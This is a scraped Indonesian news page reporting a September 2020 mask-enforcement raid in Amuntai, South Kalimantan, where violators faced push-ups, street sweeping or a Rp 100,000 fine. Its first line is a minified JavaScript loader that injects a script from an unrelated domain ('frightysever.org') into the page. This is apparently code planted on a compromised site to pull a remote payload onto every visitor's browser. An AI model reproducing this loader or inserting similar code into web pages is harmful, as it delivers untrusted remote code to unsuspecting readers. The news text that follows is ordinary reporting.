(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Lantaran tidak memakai masker saat keluar rumah, puluhan pengguna jalan roda dua dan roda empat di kota Amuntai terjaring razia petugas gabungan Satpol PP, TNI-Polri saat operasi penegakan disiplin, Senin (7/9/2020).
Operasi penegakan disiplin wajib menggunakan masker ini sendiri sebagai tindak lanjut instruksi Peraturan Bupati (Perbup) Hulu Sungai Utara (HSU) Nomor 37 tahun 2020 tentang peningkatan disiplin dan penegakan hukum protokol kesehatan dalam pencegahan dan pengendalian virus Covid-19 yang mulai berlaku 7 September 2020.
Pelanggar terancam sanksi denda sebesar Rp 100 ribu, namun sebagai peringatan awal para pelangar dikenakan sanksi sosial seperti push-up dan menyapu jalanan.
Plt Kepala Satpol PP dan Damkar HSU Jumadi mengatakan, setelah mulai diberlakukan penegakan displin dan penerapan protokol kesehatan akan ada penindakan kepada masyarakat yang melanggar protokol kesehatan.
“Karena menurut ketentuan bahwa setiap warga masyarakat yang keluar rumah wajib menggunakan masker,” tegas Jumadi di sela operasi.
Untuk masyarakat yang masih tidak menggunakan masker, kata Jumadi, akan ditindak dengan memberikan sanksi secara bertahap dari berupa teguran, sanksi sosial hingga sanksi adiministratif berupa denda Rp 100 ribu.
“Kegiatan ini dilaksanakan dalam rangka mempercepat pemberantasan Covid-19,” imbuhnya.
Pemerintah Kabupaten HSU juga telah melakukan sosialisasi sebelumnya kepada masyarakat Perbup Nomor 37 tahun 2020 tentang penegakan disiplin kesehatan Covid-19.
Jumadi menyebut, berdasarkan pantauan dilapangan masih banyak masyarakat yang tidak peduli tidak menggunakan masker dengan berbagai macam alasan. Seperti lupa membawa masker, masker hilang, membawa masker tapi tidak digunakan. Juga ada beberapa menggunakan alasan tidak nyaman saat memakai masker.
“Kami imbau masyarakat tolong patuhi protokol kesehatan, kerena sanksinya tegas, jelas dan terukur,” pungkas Jumadi.
Penegakan displin menggunakan masker akan dilaksanakan sebanyak 30 kali di seluruh kecamatan di HSU dengan tanggal waktu yang sudah ditentukan. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.